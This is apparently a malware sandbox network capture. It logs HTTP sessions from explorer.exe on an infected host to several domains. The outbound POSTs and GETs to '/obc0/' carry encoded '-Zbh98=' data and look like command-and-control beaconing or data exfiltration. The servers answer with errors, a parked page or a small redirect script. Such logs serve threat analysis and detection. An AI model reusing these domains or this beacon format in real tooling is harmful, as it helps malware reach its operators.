Oct 11, 2022 05:57:03.023365021 CEST	389	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Tue, 11 Oct 2022 03:57:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49703	52.60.87.163	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:05.055154085 CEST	390	OUT	POST /obc0/ HTTP/1.1 Host: www.augusta.broker Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.augusta.broker User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.augusta.broker/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 28 6b 62 6b 54 46 49 4f 65 79 54 6e 4d 46 48 42 52 56 35 6e 6c 73 53 64 28 35 32 4d 6a 53 32 6c 31 68 7e 6d 46 32 37 79 31 53 69 30 75 51 30 75 7e 73 51 37 49 5f 32 6e 4e 55 68 33 31 64 37 76 73 76 78 52 53 61 50 6b 54 46 71 6c 52 50 5a 33 75 4e 46 72 6e 4f 6b 32 35 78 30 38 79 46 79 48 58 79 55 37 42 2d 7e 36 35 69 41 31 72 55 35 45 52 75 4b 62 44 7a 6f 77 6a 55 4c 53 37 35 31 53 63 74 4b 47 79 67 35 74 43 63 46 49 67 44 43 6c 76 65 61 61 46 55 37 58 31 4f 31 6e 36 46 6b 5a 57 46 75 6b 6b 72 48 6d 47 58 64 4f 38 6a 5a 71 43 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=(kbkTFIOeyTnMFHBRV5nlsSd(52MjS2l1h~mF27y1Si0uQ0u~sQ7I_2nNUh31d7vsvxRSaPkTFqlRPZ3uNFrnOk25x08yFyHXyU7B-~65iA1rU5ERuKbDzowjULS751SctKGyg5tCcFIgDClveaaFU7X1O1n6FkZWFukkrHmGXdO8jZqCQ).
Oct 11, 2022 05:57:05.161370039 CEST	391	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Tue, 11 Oct 2022 03:57:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49704	52.60.87.163	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:07.202677965 CEST	391	OUT	GET /obc0/?-Zbh98=ymzEQwRFXCPDCi+CRQJb7/Cu/KCeuwmnwGnTOFfe8Wu9oS0w58wfIKm/BUV3lMrC1MN0SKPFf3LORs93kZV7msxn8x5u5Wnabg==&C0=X82hHfExC6QP HTTP/1.1 Host: www.augusta.broker Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 11, 2022 05:57:07.308969975 CEST	393	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 11 Oct 2022 03:57:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 17061 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: max-age=604800 Expires: Mon, 17 Oct 2022 23:35:58 +0000 Content-Security-Policy: default-src 'self' 'unsafe-inline' https://park.101datacenter.net https://*.deviceatlascloud.com/ https://cs.deviceatlas-cdn.com data: Access-Control-Allow-Origin: https://park.101datacenter.net X-Frame-Options: SAMEORIGIN X-Cached: HIT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 75 74 75 72 65 20 68 6f 6d 65 20 6f 66 20 61 75 67 75 73 74 61 2e 62 72 6f 6b 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 2d 20 72 65 67 69 73 74 65 72 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 6c 69 6e 65 2c 61 6e 64 20 67 65 74 20 74 68 65 20 6e 61 6d 65 20 79 6f 75 20 77 61 6e 74 20 77 68 69 6c 65 20 69 74 27 73 20 73 74 69 6c 6c 20 61 76 61 69 6c 61 62 6c 65 2e 20 49 6e 74 65 72 6e 65 74 20 44 6f 6d 61 69 6e 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 26 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 2e 22 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 35 2e 30 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 4e 41 4d 45 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 43 4f 4e 54 45 4e 54 3d 22 31 35 20 64 61 79 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 76 65 6e 64 6f 72 2d 31 2f 69 63 6f 6e 2f 31 30 31 64 6f 6d 61 69 6e 2e 69 63 6f 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 66 6f 6e 74 22 20 74 79 70 65 3d Data Ascii: <!DOCTYPE html><html dir="ltr" lang="en" ><head><title>Future home of augusta.broker</title><meta name="description" content="Domain Name Registration - register your domain name online,and get the name you want while it's still available. Internet Domain Registration & International Domain Name Registration."><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" /><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><meta name="robots" content="index, follow" /><meta name="googlebot" content="index, follow" /><meta NAME="revisit-after" CONTENT="15 days"><link rel="shortcut icon" href="/images/vendor-1/icon/101domain.ico"><link rel="preload" as="font" type=
Oct 11, 2022 05:57:07.308998108 CEST	394	IN	Data Raw: 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 66 6f 6e 74 73 2f 4c 61 74 6f 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 Data Ascii: "font/woff2" crossorigin="anonymous" href="/css/fonts/LatoRegular.woff2" /><link rel="preload" as="image" type="image/webp" href="/images/vendor-1/park-back.webp" /><style>@font-face{font-family:system;font-style:normal;font-weight:400;src:
Oct 11, 2022 05:57:07.309022903 CEST	395	IN	Data Raw: 2d 68 65 61 64 65 72 20 68 31 20 73 74 72 6f 6e 67 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 63 68 6f 69 63 65 20 2e 63 6f 6c 2d 62 61 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 Data Ascii: -header h1 strong{color:#fff;display:block}.choice .col-base{background-color:#fff;padding:2rem;margin-top:3rem;margin-bottom:1.5rem}.choice-icon{width:4rem;height:4rem;display:inline-block;padding:1rem;margin:-5rem auto 0 auto}.choice-icon.ye
Oct 11, 2022 05:57:07.309046984 CEST	397	IN	Data Raw: 3a 30 20 30 20 31 2e 35 72 65 6d 20 30 7d 2e 75 70 73 65 6c 6c 20 2e 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 64 65 36 36 38 3b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 20 2e 37 35 72 65 6d 3b 64 69 73 70 6c 61 Data Ascii: :0 0 1.5rem 0}.upsell .button{background-color:#fde668;padding:.5rem .75rem;display:inline-block;font-size:.9rem;color:#000;text-decoration:none;text-transform:uppercase;width:fit-content;margin:0 auto;line-height:1}@media only screen and (min
Oct 11, 2022 05:57:07.309070110 CEST	398	IN	Data Raw: 70 73 65 6c 6c 20 2e 63 6f 6c 2d 62 61 73 65 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 32 72 65 6d 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 36 36 2e 30 36 33 65 6d 29 7b 62 6f 64 79 Data Ascii: psell .col-base{min-height:12rem}}@media only screen and (min-width:66.063em){body{background-size:cover;background-repeat:no-repeat;background-attachment:fixed}.webp body{background-image:url("/images/vendor-1/park-back.webp")}.no-webp body{b
Oct 11, 2022 05:57:07.309092999 CEST	399	IN	Data Raw: 33 35 2c 32 31 2e 32 32 2c 38 2e 33 35 7a 20 4d 32 37 2e 36 34 2c 36 2e 37 32 6c 2d 33 2e 34 38 2d 36 2e 30 33 20 63 2d 30 2e 33 38 2d 30 2e 36 37 2d 31 2e 32 33 2d 30 2e 38 39 2d 31 2e 39 2d 30 2e 35 31 6c 2d 34 2e 35 2c 32 2e 36 68 2d 34 2e 34 Data Ascii: 35,21.22,8.35z M27.64,6.72l-3.48-6.03 c-0.38-0.67-1.23-0.89-1.9-0.51l-4.5,2.6h-4.44c-0.52,0-1.03,0.15-1.47,0.42l-1.46,0.91c-0.41,0.25-0.65,0.7-0.65,1.18v5.49 c0,0.96,0.78,1.74,1.74,1.74c0.96,0,1.74-0.78,1.74-1.74V6.96h8c1.34,0,2.43,1.09,2.43,2
Oct 11, 2022 05:57:07.309123993 CEST	401	IN	Data Raw: 2c 30 2e 31 31 2c 31 2e 32 20 63 30 2c 30 2e 35 34 2d 30 2e 30 36 2c 31 2e 30 36 2d 30 2e 31 38 2c 31 2e 35 36 68 31 2e 37 37 76 31 31 2e 30 32 48 35 2e 35 36 56 37 2e 32 34 68 31 2e 37 37 63 2d 30 2e 31 32 2d 30 2e 35 2d 30 2e 31 38 2d 31 2e 30 Data Ascii: ,0.11,1.2 c0,0.54-0.06,1.06-0.18,1.56h1.77v11.02H5.56V7.24h1.77c-0.12-0.5-0.18-1.02-0.18-1.56c0-0.41,0.04-0.81,0.11-1.2H4.86 c-1.15,0-2.08,0.93-2.08,2.07v14.47h22.24V6.55z M27.1,22.4H16.57c-0.03,0.85-0.64,1.38-1.42,1.38h-2.64 c-0.81,0-1.43-0.7
Oct 11, 2022 05:57:07.309153080 CEST	402	IN	Data Raw: 33 20 6c 2d 31 2e 34 33 2c 31 2e 34 33 63 2d 30 2e 31 31 2c 30 2e 31 31 2d 30 2e 32 38 2c 30 2e 31 31 2d 30 2e 33 39 2c 30 4c 31 31 2e 35 2c 37 2e 35 33 63 2d 30 2e 31 31 2d 30 2e 31 31 2d 30 2e 31 31 2d 30 2e 32 38 2c 30 2d 30 2e 33 39 6c 31 2e Data Ascii: 3 l-1.43,1.43c-0.11,0.11-0.28,0.11-0.39,0L11.5,7.53c-0.11-0.11-0.11-0.28,0-0.39l1.43-1.43L11.5,4.28z"/></symbol><symbol id="hosting-icon" viewBox="0 0 27.21 24.18"><path d="M24.94,0H2.27C1.02,0,0,1.02,0,2.27v15.11c0,1.25,1.02,2.27,2.27,2.27
Oct 11, 2022 05:57:07.309180975 CEST	403	IN	Data Raw: 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 65 63 74 69 6f 6e 20 63 68 6f 69 63 65 20 63 65 6e 74 65 72 65 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 Data Ascii: /h1></div></header><section class="page-section choice centered"><div class="page-row row_full row-col"><h2 class="sr-only">Is this domain name yours?</h2><div class="col-base col-half-width"><div class="choice-icon yes"><svg><use xlin
Oct 11, 2022 05:57:07.309211969 CEST	405	IN	Data Raw: 69 67 68 74 3d 22 31 30 32 22 20 2f 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 72 6f 77 20 72 6f 77 5f 66 75 6c 6c 20 72 6f 77 2d 63 6f 6c 22 3e 0a 3c 68 32 20 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 43 Data Ascii: ight="102" /></div><div class="page-row row_full row-col"><h2 class="sr-only">Check out our products</h2><div class="col-base col-third-width"><h3><img src="/images/vendor-1/google_workspace.png" alt="Google Workspace logo" width="185" he
Oct 11, 2022 05:57:07.415437937 CEST	406	IN	Data Raw: 6f 76 65 72 20 32 30 20 79 65 61 72 73 2e 3c 2f 70 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 31 30 31 64 6f 6d 61 69 6e 2e 63 6f 6d 2f 62 72 61 6e 64 5f 73 65 72 76 69 63 65 Data Ascii: over 20 years.</p><a class="button" href="https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=augusta.broker&utm_term=corporate-services">Learn More<span class="sr-only"> about our Corporate Se

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49705	167.179.103.237	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:13.026810884 CEST	411	OUT	POST /obc0/ HTTP/1.1 Host: www.luregirl.net Connection: close Content-Length: 412 Cache-Control: no-cache Origin: http://www.luregirl.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.luregirl.net/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 64 47 6e 2d 4a 4e 4c 62 30 44 49 31 54 76 35 55 6f 6f 31 62 66 6d 68 2d 7e 6d 6e 68 68 51 4b 68 36 57 73 68 77 6d 70 31 28 37 66 48 47 68 4d 50 71 78 67 4a 66 2d 73 51 79 56 7e 30 4d 50 72 75 46 4a 28 39 66 43 71 63 7a 59 74 70 6f 6c 55 50 71 68 75 2d 52 36 79 33 62 74 45 33 49 47 51 47 6c 56 71 50 35 4a 75 77 4a 5f 76 50 67 63 45 76 56 49 6a 4e 63 6c 58 30 72 64 45 50 73 42 28 31 7e 53 39 44 34 74 57 55 37 50 75 41 56 72 77 65 51 70 55 34 65 42 4e 6e 5a 65 4c 52 55 69 61 6e 48 51 77 4a 74 55 65 48 67 79 55 58 31 48 37 49 74 79 42 4d 58 67 55 72 47 72 6b 6d 34 39 43 64 49 53 28 70 59 63 56 61 65 71 39 59 58 48 49 41 49 6d 5a 7a 62 6b 52 71 79 77 32 51 53 50 28 69 62 32 6d 2d 71 4c 4f 2d 52 65 6c 49 75 6b 52 55 45 54 76 6f 58 75 49 6c 73 4b 4f 52 68 46 66 73 37 76 74 39 7e 7a 6b 47 31 79 76 79 36 36 71 55 68 32 6d 65 72 52 4b 47 33 45 59 50 56 34 65 71 73 51 38 5f 7e 4c 62 76 63 6b 55 70 59 37 53 76 68 44 42 59 42 78 58 63 72 44 30 73 32 39 30 36 6c 30 30 77 28 36 53 48 41 4d 38 33 56 70 6e 4a 75 47 69 61 50 39 43 56 62 6b 63 75 68 45 4b 4e 74 67 6c 37 5a 35 7a 61 37 64 28 5a 66 41 71 31 6c 71 36 65 4c 49 30 34 6a 6f 43 65 69 59 34 61 58 37 64 66 57 75 7a 58 4b 44 6c 73 4e 75 38 76 50 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=dGn-JNLb0DI1Tv5Uoo1bfmh-~mnhhQKh6Wshwmp1(7fHGhMPqxgJf-sQyV~0MPruFJ(9fCqczYtpolUPqhu-R6y3btE3IGQGlVqP5JuwJ_vPgcEvVIjNclX0rdEPsB(1~S9D4tWU7PuAVrweQpU4eBNnZeLRUianHQwJtUeHgyUX1H7ItyBMXgUrGrkm49CdIS(pYcVaeq9YXHIAImZzbkRqyw2QSP(ib2m-qLO-RelIukRUETvoXuIlsKORhFfs7vt9~zkG1yvy66qUh2merRKG3EYPV4eqsQ8_~LbvckUpY7SvhDBYBxXcrD0s2906l00w(6SHAM83VpnJuGiaP9CVbkcuhEKNtgl7Z5za7d(ZfAq1lq6eLI04joCeiY4aX7dfWuzXKDlsNu8vPw).
Oct 11, 2022 05:57:13.301083088 CEST	411	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 11 Oct 2022 03:57:13 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49706	167.179.103.237	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:15.362006903 CEST	412	OUT	POST /obc0/ HTTP/1.1 Host: www.luregirl.net Connection: close Content-Length: 188 Cache-Control: no-cache Origin: http://www.luregirl.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.luregirl.net/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 64 47 6e 2d 4a 4e 4c 62 30 44 49 31 53 63 52 55 70 37 74 62 56 47 68 2d 78 47 6d 72 68 51 4c 49 36 57 73 6c 77 69 52 6c 71 63 37 48 47 30 67 50 71 44 59 4a 61 2d 73 54 36 31 7e 34 50 5f 72 42 46 4a 28 68 66 47 69 63 7a 63 46 70 6f 6b 6b 50 71 53 57 35 57 36 79 31 58 4e 45 77 61 32 52 4d 6c 56 47 39 35 4e 6d 77 4a 39 6e 50 67 50 63 76 56 65 7e 62 59 46 58 33 75 64 45 45 6a 68 28 35 7e 53 39 68 34 74 57 2d 37 4b 69 41 56 62 67 65 52 4b 38 5f 51 42 4e 5f 48 4f 4b 6a 45 43 62 53 4e 78 68 65 67 6d 7a 79 6d 79 46 47 33 46 7e 53 39 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=dGn-JNLb0DI1ScRUp7tbVGh-xGmrhQLI6WslwiRlqc7HG0gPqDYJa-sT61~4P_rBFJ(hfGiczcFpokkPqSW5W6y1XNEwa2RMlVG95NmwJ9nPgPcvVe~bYFX3udEEjh(5~S9h4tW-7KiAVbgeRK8_QBN_HOKjECbSNxhegmzymyFG3F~S9w).
Oct 11, 2022 05:57:15.634977102 CEST	413	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 11 Oct 2022 03:57:15 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49707	167.179.103.237	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:17.661243916 CEST	413	OUT	GET /obc0/?-Zbh98=QEPeK6C4+xU1T+Zv89RyXnFvtkuTgj7CyQVR6lB98YiPEjAwu2VabqstxXG4WeniE5n6fSCr36EXz2ZAkGy4VKLMfvQeNDQPqw==&C0=X82hHfExC6QP HTTP/1.1 Host: www.luregirl.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 11, 2022 05:57:17.933495998 CEST	414	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 11 Oct 2022 03:57:17 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49708	167.235.29.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 11, 2022 05:57:23.026679039 CEST	415	OUT	POST /obc0/ HTTP/1.1 Host: www.bloopacts.live Connection: close Content-Length: 412 Cache-Control: no-cache Origin: http://www.bloopacts.live User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.bloopacts.live/obc0/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 2d 5a 62 68 39 38 3d 42 4f 78 4b 4e 41 70 66 67 58 74 43 4d 7a 76 30 74 30 67 41 54 48 39 4b 58 37 47 35 4f 63 4f 54 36 35 32 53 38 37 47 30 4e 69 72 52 67 70 48 5f 66 67 6a 2d 4a 4b 50 6f 55 6c 6a 61 74 34 74 50 31 45 4d 46 75 56 4d 54 61 66 57 6a 5a 46 43 79 50 6c 72 7a 55 4d 55 71 49 79 74 39 6e 42 58 55 28 6a 38 4b 44 53 6a 37 5a 39 63 4c 43 6a 63 69 44 36 33 73 47 70 7e 32 31 7a 5a 5a 63 56 46 34 48 34 48 4e 66 52 6c 63 4d 73 73 55 79 68 6f 55 36 67 65 6a 74 37 63 6a 6f 4b 6a 51 50 37 67 74 57 76 6d 4e 6f 49 49 55 7e 63 41 51 50 64 65 64 43 58 78 78 44 74 65 6b 33 51 6f 79 53 68 68 39 73 30 31 33 69 54 48 7a 6a 4a 7e 53 49 5a 62 53 44 59 54 69 67 73 57 67 7a 61 53 48 43 2d 68 47 49 30 63 34 35 79 47 5a 63 36 78 34 38 32 34 34 62 54 43 69 6f 54 56 4a 6a 59 6a 50 35 35 4e 38 52 57 57 70 46 41 4f 31 34 67 6e 50 64 48 62 63 39 57 43 58 4f 2d 34 54 41 79 72 77 47 30 72 49 69 64 28 31 45 75 4e 43 70 5f 53 51 4b 31 66 6f 6c 39 61 5a 4a 30 48 4e 75 4e 6d 64 56 54 63 68 73 62 73 4a 77 7a 6e 67 41 7a 50 62 75 74 50 61 56 38 54 4a 41 72 34 46 6a 79 4b 45 52 4a 46 74 6b 36 34 71 59 4a 69 62 50 43 63 6c 36 59 46 42 53 41 43 55 49 34 30 4b 72 4d 6b 61 77 42 4e 54 39 49 71 59 65 41 78 30 58 61 57 5f 73 54 78 58 65 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=BOxKNApfgXtCMzv0t0gATH9KX7G5OcOT652S87G0NirRgpH_fgj-JKPoUljat4tP1EMFuVMTafWjZFCyPlrzUMUqIyt9nBXU(j8KDSj7Z9cLCjciD63sGp~21zZZcVF4H4HNfRlcMssUyhoU6gejt7cjoKjQP7gtWvmNoIIU~cAQPdedCXxxDtek3QoyShh9s013iTHzjJ~SIZbSDYTigsWgzaSHC-hGI0c45yGZc6x48244bTCioTVJjYjP55N8RWWpFAO14gnPdHbc9WCXO-4TAyrwG0rIid(1EuNCp_SQK1fol9aZJ0HNuNmdVTchsbsJwzngAzPbutPaV8TJAr4FjyKERJFtk64qYJibPCcl6YFBSACUI40KrMkawBNT9IqYeAx0XaW_sTxXew).
Oct 11, 2022 05:57:23.051944971 CEST	416	IN	HTTP/1.1 200 OK Date: Tue, 11 Oct 2022 03:57:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.1.33 X-Powered-By: PHP/7.1.33 Content-Length: 195 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 73 63 72 69 70 74 3e 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 63 6c 75 64 65 73 28 22 23 22 29 29 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 5c 23 5c 2f 2f 67 2c 27 23 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 5c 23 2f 67 2c 27 23 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 23 2f 67 2c 27 2f 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 70 72 65 3e 43 6f 75 